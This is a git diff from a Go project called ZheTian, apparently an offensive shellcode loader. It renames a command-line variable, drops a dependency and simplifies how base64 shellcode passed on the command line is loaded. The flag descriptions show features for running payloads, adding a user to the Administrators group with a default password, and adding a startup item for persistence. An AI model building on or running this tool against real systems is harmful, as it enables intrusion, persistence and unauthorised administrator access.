diff --git a/.idea/workspace.xml b/.idea/workspace.xml index b3ba12f..55f110f 100644 --- a/.idea/workspace.xml +++ b/.idea/workspace.xml @@ -5,11 +5,8 @@ - - - - + @@ -85,7 +82,7 @@ - + @@ -125,7 +122,14 @@ diff --git a/go.mod b/go.mod index 385a977..da574e2 100644 --- a/go.mod +++ b/go.mod @@ -3,7 +3,6 @@ module ZheTian go 1.16 require ( - github.com/akavel/rsrc v0.10.2 // indirect github.com/ser163/WordBot v0.0.0-20210220084722-ce4b280ccfd3 github.com/shopspring/decimal v1.2.0 // indirect github.com/spf13/cobra v1.2.1 diff --git a/server/cmd.go b/server/cmd.go index 8643ddd..7b29171 100644 --- a/server/cmd.go +++ b/server/cmd.go @@ -17,7 +17,7 @@ var ( UserName string //用户名 PassWD string //密码 StartMenu bool //是否添加启动项 - CommLine string //直接在命令行输入shellcode + CommLineCode string //直接在命令行输入shellcode rootCmd = &cobra.Command{ Use: "ZheTian", Short: "http://github.com/yqcs/ZheTian", @@ -40,7 +40,7 @@ func init() { rootCmd.PersistentFlags().StringVarP(&UserName, "UserName", "n", "", "Add user to Administrators group.The default password is ZheTian@123 (Execute with administrator permissions)") rootCmd.PersistentFlags().StringVarP(&PassWD, "PassWD", "p", "", "User Password. Must use -n param") rootCmd.PersistentFlags().StringVarP(&Resource, "Payload Resource", "s", "", "Read payload source file,Supported lang:java、C、python、ruby、c#、perl、ruby...") - rootCmd.PersistentFlags().StringVarP(&CommLine, "Command line input ShellCode", "c", "", "Enter the base64 string into the command line") + rootCmd.PersistentFlags().StringVarP(&CommLineCode, "Command line input ShellCode", "c", "", "Enter the base64 string into the command line") } @@ -68,7 +68,7 @@ func startService() error { ReadFileModel() } else if Resource != "" { ResourceModel() - } else if CommLine != "" { + } else if CommLineCode != "" { CommLineModel() } if UserName != "" { diff --git a/server/loadFile.go b/server/loadFile.go index 36f1e83..0f87a7e 100644 --- a/server/loadFile.go +++ b/server/loadFile.go @@ -80,6 +80,5 @@ func ResourceModel() { } func CommLineModel() { - str := base64.StdEncoding.EncodeToString([]byte(commLine)) - ShellCodeByte = []byte(str) + ShellCodeByte = []byte(CommLineCode) }